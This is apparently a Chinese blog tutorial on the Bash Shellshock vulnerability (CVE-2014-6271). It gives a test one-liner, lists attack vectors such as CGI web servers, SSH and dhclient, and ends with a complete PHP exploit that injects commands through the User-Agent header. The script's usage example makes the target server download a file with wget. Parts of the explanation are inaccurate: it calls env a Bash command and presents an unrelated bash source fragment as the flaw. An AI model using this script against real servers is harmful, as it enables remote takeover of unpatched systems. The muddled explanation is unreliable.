1、漏洞的起因
这个漏洞的起因源自于Bash(Bourne Again SHell)的ENV指令
http://ss64.com/bash/env.html
envDisplay, set, or remove environment variables, Run a command in a modified environment.Syntaxenv [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...]Options-u NAME--unset=NAMERemove variable NAME from the environment, if it was in theenvironment.--i--ignore-environmentStart with an empty environment, ignoring the inheritedenvironment.
Arguments of the form `VARIABLE=VALUE' set the environment variable VARIABLE to value VALUE. VALUE may be empty (`VARIABLE='). Setting a variable to an empty value is different from unsetting it.The first remaining argument specifies the program name to invoke; it is searched for according to the `PATH' environment variable. Any remaining arguments are passed as arguments to that program.If no command name is specified following the environment specifications, the resulting environment is printed. This is like specifying a command name of `printenv'.
2、产生原理
其实就是一个远程写shell的漏洞!得到Apache权限!
虽然ENV是一个指令执行的指令,但是这并不是这次CVE漏洞的产生原因,原因在于:ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection",即代码注入 ;(我也是抄的,请大家不要为难小白我!)
这里贴上bash3.2漏洞源码
/bu/evalstring.c
struct fd_bitmap *bitmap; bitmap = new_fd_bitmap (FD_BITMAP_SIZE);begin_unwind_frame ("pe_dispose");add_unwind_protect (dispose_fd_bitmap, bitmap);add_unwind_protect (dispose_command, command); /* XXX */global_command = (COMMAND *)NULL;
这里就是代码产生漏洞的地方!没有对边界性进行限制。
代码我将放在附件里!
3、总结防御
bash(本地、ssh、cgi)允许使用ENV进行path临时设置
黑客通过自定义函数,并导出到变量中
BASH对环境变量的设置是通过"代码执行(EVAl)"完成的,即把ENV的参数当成code来执行,这在正常情况下是没有问题的
问题的关键是BASH没有对传入的参数进行正确的边界检查,导致数据和代码的混杂,产生了和PHP EVAL Code InJection类似的漏洞 env x='() { :;}; echo vulnerable'
代码注入的关键点在 ; echo vulnerable
4、测试满足条件
测试语句
env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 结果: vulnerable this is a test
a. 我们的攻击目标存在cmd执行的交互接口
本地交互shell
b.SSH:使用SSH进行bash执行需要你知道对方的ssh帐号密码
c.FTP:需要对方开启了ftp cms的执行权限,已经你已经有了一个ftp的帐号密码
d.cgi:需要对方开启了CGI的解析模块
e. 我们有办法设置目标(或者临时设置)的环境变量
f. 我们可以控制即将进行环境变量设置的参数
根据这些先决条件,我们可以得到一些攻击向量
1. httpd
1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源
2) 服务器提供了CGI脚本,当 CGI script被webserver执行的时候,CGI Script会去调用Bash 黑客可以通过开启了CGI的httpd服务器进行远程代码执行
g. Secure Shell (SSH)
对于git、rsync这类远程shell来说,常常会对用户可以执行的指令进行严格限制,但是这个BASH解析漏洞提供了一个bypass的向量
f. dhclient
动态主机配置协议客户端(dhclient的)被用来通过DHCP自动获取网络配置信息。该客户端使用不同的环境变量和运行bash来配置网络接口。连接到一个恶意的DHCP服务器可能允许攻击者在客户机上运行任意代码。
黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改,可以达到污染dhcpclient的环境变量参数的目的,从而进行远程代码执行
h. CUPS
i. sudo
j. Firefox
5、自动测试
这里需要能够支持cgi模块!
<?php /* Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability CVE: 2014-6271 Vendor Homepage: https://www.gnu.org/software/bash/ Author: Prakhar Prasad && Subho Halder Author Homepage: https://prakharprasad.com && https://appknox.com Date: September 25th 2014 Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13) Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmdEg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit" Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/Test CGI Code : #!/bin/bashecho "Content-type: text/html"echo ""echo "Bash-is-Vulnerable"*/ error_reporting(0); if(!defined('STDIN')) die("Please run it through command-line!\n"); $x = getopt("u:c:"); if(!isset($x['u']) || !isset($x['c'])) { die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");} $url = $x['u']; $cmd = $x['c'];$context = stream_context_create(array('http' => array('method' => 'GET','header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"')));if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0)die("Command sent to the server!\n");elsedie("Connection Error\n"); ?>
测试方法:php bash.php -u http://hostname/cgi-bin/xx.cig -c cmd
例如:php bash.php -u http://localhost/cgi-bin/hello.cgi -c "pwd"
URL /cgi文件 -c "命令"